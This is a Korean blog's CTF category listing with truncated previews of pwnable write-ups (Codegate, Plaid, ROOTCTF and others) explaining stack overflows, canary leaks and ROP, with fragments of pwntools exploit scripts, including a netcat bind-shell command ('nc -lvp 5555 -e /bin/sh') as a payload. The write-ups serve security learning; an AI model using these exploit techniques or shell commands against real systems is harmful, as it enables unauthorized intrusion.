본문 바로가기

CTF

(51)
[White Hacker League 2017] Ghost Pwnable - Ghost (440)그냥 64bit rop 문제다.fork()를 사용하기 때문에 프로세스가 켜져있는 동안은 라이브러리 주소와 카나리가 바뀌지 않는다.그리고 Relro가 걸려있어 got를 못덮기 때문에 카나리 릭하고 base 릭한후 시스템주소 구해서 쉘따면 된다.1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980from pwn import * e = ELF('./ghost') p_rdi = 0x4015b3p_rsi_r15 = 0x4015b1p_rdx = 0x40153dof..
[Codegate 2016] floppy 구조체는 IDA 스택을 보면 아래와 같이 파악할 수 있다.flag[4], &data[4], description[10], dummy[2], datasize[4] floppy2[24] + floppy1[24] + floppy_pointer[4] + dummy[8] + sfp[8]? + ret[4] 이런 구조다.구조는 함수 프롤로그를 보고 다시 밑에서 정리했다. 취약점은 위 read(0, &s, 37) 에서 터진다. ret은 37-1 byte밖에 안되서 못덮지만 아래와 같은 특징때문에 익스가 가능하다. 해당 문제 메인함수 프롤로그와 에필로그를 보면 평범한 구조와는 좀 다르다.그렇기에 esp를 조작하여 RTL 하면 될 것같다.일단 해당 문제는 PIE가 걸려있기 때문에 __libc_start_main_ret 을..
[ROOTCTF 2017] Factorization(sandbag) 메인함수 모습이다.먼저 취약점이 있는 부분은 아래와 같다. 오버플로우가 있는 read 취약점부분으로 가려면 a5(time)이 2985984가 되야 하며 입력은 4가 되어야한다. 어떻게 할지 a5(time)을 2985984로 만들어 줄지 고민했는데 문제 이름 자체가 인수분해(Factorization) 라서 저 숫자를 인수분해하면 12의 6승이 나온다.3번 메뉴로 가서 sleep(4) 메뉴로 들어가면 곱하기를 하기 때문에 a1, a2, a3, a4, a5, a6 을 모두 12로 만들어준 후에 sleep을 하면 2985984가 될 것이다.1번 메뉴에서 a1, a2, a3 2번 메뉴에서 a4, a5, a6 을 각각 12번 + 해준 후에 sleep 하고 취약점 있는 부분으로 가서 rop 하면 익스가 가능하다. [..
[Codegate 2017] babypwn 메뉴창 보면 오버플로우 일어나는데 바로 볼 수 있다.IDA로 옆에보면 system 함수가 대놓고 있어서 libc leak 없이 system plt 갖다쓰면 된다. [exploit]1234567891011121314151617181920212223242526272829303132333435from pwn import * p = remote('localhost', 8181)e = ELF('./babypwn') ppppr = 0x8048eeccmd = 'nc -lvp 5555 -e /bin/sh' + '\x00' print p.sendlineafter('> ', '1')p.sendlineafter(': ', 'A'*40)canary = p.recv(1024)canary = u32('\x00' + canary[..
[Codegate 2016] watermelon 1. Add playlist2. View playlist3. Modify playlist4. Exitmenu는 위와 같다.-1를 입력시 처음에 있는 함수로 들어가게 되는데 그냥 의미없는 함수같다.차례대로 add, view, modfiy 함수들이다. modify 함수에서 artist 를 입력할때 200 을 입력받음으로써 overflow가 일어난다.일단 add함수로 음악의 개수를 100까지 채운 후 modfiy에서 music number 100을 선택한 다음 오버플로우 하면 될거 같다.하지만 해당 문제에서 카나리가 있기 때문에 카나리 릭은 view를 통해 해주면 된다. [exploit]123456789101112131415161718192021222324252627282930313233343536373839..
[Codegate 2014] nuclear 일단 포트는 1129 이며, 서버에 있는 passcode 파일을 read한 후 launch 에서 비교하는데 일단 passcode를 알아내야한다.else 부분에 있는 "unknown command : %s" 에서 릭한걸 출력하면 될거 같다 스택은 다음과 같다. s1[512] + v4[4] + v5[4] + s[32]저 s[32]에 passcode가 들어가있는데 recv에서 512만큼밖에 입력을 안받기 때문에 8byte가 비어 s를 추출하지 못한다.하지만 8byte를 채울 수 있는 방법이 있는데 바로 target 부분이다.여기서 v4와 v5 변수에 위도 경도값을 넣을 수 있는데 sscanf으로 넣기 때문에 null값이 채워지지 않는다.그렇기에 먼저 target에서 값 넣어준 다음 "A"*512 넣어주면 le..
[Codegate 2014] angry_doraemon 메인함수 보면 소켓통신하는데 포트가 8888인걸 알 수있다. - Attack menu - 1.Sword 2.Screwdriver 3.Red-bean bread 4.Throw mouse 5.Fist attack 6.Give up메뉴는 다음과 같다. 1번 메뉴를 보면 execl("/bin/sh") 함수가 존재하고5번 메뉴에서 buf()가 있는걸 보고 해당 주소로 가게끔 하면 안되나 싶었는데 BYTE3(buf) != 8..즉 코드영역(0x08로 시작하는 주소)을 못덮게 막아놔서 이 부분은 fake라고 생각했다.천천히 살펴보면 4번 메뉴에 취약점이 있다. 해당 함수에서 카나리가 릭이 가능한데 일단 스택 구조를 먼저 살펴보면 아래와 같다.buf[10] + canary[4] + dummy[8] + sfp[4] + ..
[Plaid 2013] ropasaurusrex 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647from pwn import *from time import * p = process('./ropasaurusrex')elf=ELF('./ropasaurusrex') pppr = 0x80484b6offset = 0xf7ed5af0 - 0xf7e3ada0 #read - systembss = 0x8049628read_got = elf.got['read'] payload = "A"*140#bss system_addrpayload += p32(elf.plt['read'])payload += p32(pppr)payload += p32(0)payload += p32..